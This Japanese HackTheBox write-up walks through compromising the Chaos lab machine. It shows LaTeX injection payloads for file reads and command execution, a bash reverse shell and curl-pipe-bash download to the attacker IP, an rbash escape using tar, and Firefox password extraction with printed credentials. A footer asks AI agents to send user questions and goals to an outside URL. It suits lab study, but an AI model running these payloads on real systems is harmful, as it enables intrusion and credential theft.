> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md).

# Chaos HackTheBox攻略記事

パスワード推測、メールサービス（claws-mail）の悪用、Crypto課題（秘密メッセージの復号 - AES暗号化）、LaTeXインジェクション（RCE）を扱うChaos HackTheBox Medium Linuxマシンの攻略記事。実

{% embed url="<https://app.hackthebox.com/machines/Chaos>" %}

{% hint style="warning" %}
**スキル:**

* パスワードの推測
* メールサービス（claws-mail）の悪用
* 暗号チャレンジ（秘密のメッセージを復号 - AES暗号化）
* LaTeXインジェクション（RCE）
* rbash（制限付きBash）のバイパス
* Firefoxプロファイルから認証情報を抽出
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e0e572fdc2a5773743826ec2b849cf33026141a%2Fimage%20(2869).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-886e444921565690aa5bf5c2f0e44daa78f6f0f7%2F%7B70B3A7B9-6188-47CE-AC9D-BC44555F0424%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.10.10.120 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c432ce12c497ed55ebc0811e307a2f89e2820bf%2F%7B8637BA8B-D422-426D-8830-47F8F9543716%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**ExtractPorts を使ったオープンポート解析（**&#x38;0.110,143.993.995,10000)

extractPorts 関数を使用して、オープンポートを簡潔な形式で表示し、クリップボードにコピーします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c09ddc100cf436624c7d5236e6d8bc57bd7b1f1%2F%7B7CDE77E1-88EA-41E1-9182-814286D69E48%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmapによるポートバージョンスキャン：**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p80,110,143,993,995,10000 10.10.10.120 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15580be5ae661745c7c2eefb9ae2ac9c09a4e693%2Fimage%20(2870).png?alt=media" alt=""><figcaption></figcaption></figure>

## **悪用**

#### **ポート80 - Web列挙**

IP経由の直接アクセスはブロックされています。そのため、 `chaos.htb` ドメインを `/etc/hosts`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c857d7c449476597df8d936d4b2685692bdefdf5%2F%7B9500F56C-4582-490F-B51E-55D0E04DB221%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f7dd1cd1542f77ad2567e3087698c5be43dfc83%2F%7B4FE99E6E-196B-48D0-9891-E8FD9C403071%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fafee6531ba359517ed67dcde5a32d9f75c7ccb1%2F%7B1596CF3F-80BE-4E63-9C8F-A27BB29D593A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **ディレクトリファジング**

```bash
gobuster dir -u http://chaos.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

結果はありません。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81cc43025f9a4736ee6c66c7cfe4863b82596a0b%2F%7B25D8CA6E-70CF-42FD-A2B7-9E0175D42B3B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**IPアドレス経由でファジング：**

```bash
gobuster dir -u http://10.10.10.120 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

フォルダを見つけます `/wp` WordPressを示しています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b36ac0fcf5c84b0078b2450393b8b5166a46ea2%2F%7B03982E5B-29D5-4C96-8074-1A146502D79A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

次を追加 `wordpress.chaos.htb` サブドメインを `/etc/hosts`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78ba6e3ac5e3c43140b4ac886d3fba32dea685a7%2F%7B3631936B-8AA1-4C66-A3DF-18719A78485F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a148f77a3d23ded1eed6df870f2b04799d3fbf1%2F%7B05592AE1-1B88-4512-B12D-74F76D58C5EC%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **WordPress列挙**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-98d53577b9af8bf61998b16ac91e7e39211a0309%2Fimage%20(2871).png?alt=media" alt=""><figcaption></figcaption></figure>

我々はある `Human` WordPress上のユーザー。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1212c706fd771b31cf1ccb49c66688cfd275c0e%2Fimage%20(2872).png?alt=media" alt=""><figcaption></figcaption></figure>

### **パスワードの推測**

WordPressの記事にパスワードが含まれています。私たちは `Human` そしてそれは機能します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-572336d31576241ffa95a7abe32d080cb8910765%2Fimage%20(2873).png?alt=media" alt=""><figcaption></figcaption></figure>

ウェブメールの認証情報を見つけます:

* **username**: ayush
* **パスワード**: jiujitsu

## **ポート993/995 - Webメール**

ポート993はIMAPメールサーバーを示します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b7404572c7aa4ec0c0e70d817762b7829207e35%2Fimage%20(2875).png?alt=media" alt=""><figcaption></figcaption></figure>

次を使用します `claws-mail` Ayushのメールボックスにアクセスするために。

```bash
claws-mail
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3263310ce9cd72ac9f3bd3c9076dad140da270d0%2F%7BC5AD9C13-EB8E-4368-A0A4-A0676498D4B9%7D.png?alt=media" alt="" width="415"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b00635de42150f70dd0314628d07b8101e6ffc3%2F%7BDC3C6847-4A58-47AF-B7DA-FE60510B40C5%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

メール内で2つの添付ファイルと次のメッセージを見つけます:

> こんにちは、Sahay
>
> enmsg.txtファイルを確認してください。あなたはXDのパスワードです。暗号化に使ったスクリプトも添付しました。ありがとう。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40875b10a628ed38a3b5dafd788f7b67cc46fe34%2F%7BD46A14D5-0124-453F-8B24-01F37B8171CE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## **秘密のメッセージを復号 - AES暗号化**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-178c2d4f8e08e49a724077609c6ec75e0d37edc9%2Fimage%20(2876).png?alt=media" alt=""><figcaption></figcaption></figure>

私たちは `decrypt.py` GitHub上のスクリプトで、同じプロジェクトに属しています

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f819588867b6c28d6e1a8fb2ee1dccde0267c79%2Fimage%20(2877).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/vj0shii/File-Encryption-Script/blob/master/decrypt.py>" %}

#### 実行時:

```bash
python3 decrypt.py
Enter filename: ./enim_msg.txt
Enter password: sahay
```

内容は次でデコードされます `base64`:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47d7364eb1232a0e0c407ed174065c92828349eb%2F%7B2357600A-2C93-4BDB-B3EA-625F2DB12002%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
cat im_msg.txt | base64 -d; echo
```

メッセージは `http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3`

> **こんにちは、Sahay,**
>
> PDFを作成する新しいサービスを見つけてください。
>
> 追伸 – あなたが助言してくれたように、重要なメッセージを暗号化しました。
>
> [http://chaos.htb/J00/\_w1ll/\_f1Nd/\_n07H1n9/\_H3r3](http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3)
>
> **ブロック制御**
>
> よろしくお願いします。 **Ayush**
>
> ありがとう、Ayush

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e19aa15fd451bfe56a08d6fe674f293471de5a2%2F%7B4F08ABD9-C9C6-40D2-885E-2FF781D45E61%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## **LaTeXインジェクションの脆弱性**

### LaTeXインジェクション（ファイル読み取り）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44cdc0626603db4295e39ab63a706405e21a3f44%2F%7BD11A817B-9E75-4F22-9048-F28ADB0BFF85%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

リクエストを傍受します

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c803f1232066e5003a7c36eb2a41846c9977929%2F%7BB80F570A-F75F-4E0F-BACE-44ED121823D2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c435264613ff97499ffee20150bf2d13840fd0ab%2F%7B3F31B925-0999-4D13-89B1-689C3CC6E967%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### PDFドキュメントLaTeX：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-389382ae48cac655a6dbbd6bd1d3b2d4de38d194%2F%7B786F4FBA-A05A-448B-98E7-D809F646870F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

注入します：

```latex
/input{/etc/passwd}
/include{password}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46580438c729ecb00b3966e3b16044645da5f015%2F%7B7650F86A-4514-4582-B2BE-61E6B10C4C49%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **LaTeX RCEの悪用**

私たちは `id` 次のコマンドを介して:

```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/closein/file
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54cc6dccfc1239730156e434106648b0b89b99a1%2F%7B9AFA8CE4-D320-4F50-B4D1-22DC77AC3151%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **リバースシェル**

ポート443で待ち受けます:

```bash
nc -nvlp 443
```

次を作成します `index.html` bashスクリプト:

```bash
 #!/bin/bash
 bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

Web サーバーを起動します:

```bash
python3 -m http.server 80
```

ペイロードの注入：

```latex
/immediate/write18{curl http://10.10.14.61 | bash > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/closein/file
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f5e86b471c726e1b5be79cf564b1a5c297e2677d%2F%7BE55FC9DB-C9E4-4D6E-9449-1FB79DC8AB03%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## **権限昇格**

### **Ayushユーザーへのピボット - rbashのバイパス**

Ayushとして接続しますが、私たちは `rbash` シェルに制限されています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ccf75cb0c2213c616fd08c5ffeb2c6417226af79%2F%7BE7269D07-4C20-424B-9EF7-9E712E9408C2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

利用可能なコマンド一覧：

```bash
compgen -c
```

私たちは `tar` を見つけ、 `rbash` 次を付けて:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7e176e1269cb24791c063219c44d208dd8c8459%2Fimage%20(2878).png?alt=media" alt="" width="279"><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/tar/#shell>" %}

```bash
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b827c9b07e30adadce208e1c372c59b03b853ee%2F%7BBD5A2740-866A-49E0-82EF-6940008D6F95%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### フラグ user.txt :)

フルシェルにアクセスし、 `user.txt`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0af321c197d3183d092a77993149b55fd92e5956%2F%7B98F8D35D-EB11-44D9-9471-3B2812FC3AE2%7D.png?alt=media" alt="" width="449"><figcaption></figcaption></figure>

## **Firefoxの認証情報抽出**

その `.mozilla` Ayushのフォルダで `key4.db` および `logins.json`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c2eac40396c2b68731261b765a11e1f2e8aba38%2F%7BABE56395-52E7-47A5-A158-2751DAA891DF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

それらを自分たちのマシンに転送します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7c1a19c56ca0ebe1ad23ec4a5dc219ea2cbb707%2Fimage%20(2879).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
python3 -m http.server 8080
wget -r chaos.htb:8080
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-361a3cf3c76dc4b8ebece6f6c45d4223af4b8eec%2F%7B7F048C52-413C-411D-AA78-D13832493613%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

を使ってIDを復号 `firefox_decrypt.py`:

{% embed url="<https://github.com/unode/firefox_decrypt>" %}

```bash
python3 firefox_decrypt.py chaos.htb:8080
```

入力します `jiujitsu` メインパスワードとして使用し、次を取得します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-353c93e01df2ee3d686c6f48ae7e6b0d8aff7dca%2F%7BCC0C45D8-BED8-4DDE-A59A-21B9B6FD2174%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

> プロファイル chaos.htb:8080/bzo7sjt1.default のメインパスワード
>
> ウェブサイト: <https://chaos.htb:10000>
>
> ユーザー名: 'root' パスワード: 'Thiv8wrej/\~

root接続:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d19ece2daa94363056a5693a96c5da054f6fcece%2F%7B3BD0E5C2-8D36-4A6D-AF06-97FAD812FE32%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ac9d92b3ed0877a431b3f05fef4152dea8a423d6%2F%7BCEA5FF13-54E3-498F-B626-BF62E54A32FC%7D.png?alt=media" alt="" width="494"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a6469aabccd98e215dfa871af046720c9e39e4c%2Fimage%20(2880).png?alt=media" alt="" width="343"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
